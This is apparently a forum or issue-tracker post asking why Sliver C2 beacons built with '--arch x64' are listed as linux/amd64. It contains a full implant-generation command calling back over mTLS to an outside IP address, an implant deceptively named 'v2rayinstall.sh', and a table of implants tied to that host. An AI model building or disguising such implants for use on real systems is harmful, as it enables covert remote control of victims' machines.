How to set beacon's arch with x64 ?

[ZhiboWong]

I trygenerate beacon --mtls 66.103.210.45 --os linux --arch x64 --format shell --save ./ --seconds 5 --jitter 3 --name v2rayinstall.sh . I have set arch with x64.But When I check implants,I saw:

 Name               Implant Type   Template   OS/Arch           Format   Command & Control               Debug 
================== ============== ========== ============= ============ =============================== =======
 1.sh               beacon         sliver     linux/amd64   EXECUTABLE   [1] mtls://66.103.210.45:8888   false 
 YOUNG_BEDROOM      session        sliver     linux/amd64   EXECUTABLE   [1] mtls://66.103.210.45:8888   false 
 v2rayinstall.sh    beacon         sliver     linux/amd64   EXECUTABLE   [1] mtls://66.103.210.45:8888   false 
 v2rayinstall1.sh   beacon         sliver     linux/amd64   EXECUTABLE   [1] mtls://66.103.210.45:8888   false 

arch is Still amd64.
What should I do ? Is my parameter wrong ?
I have generated sessoion before. Although implant i amd64, it works on x64 Kali. Unfortunately, beacon does not work.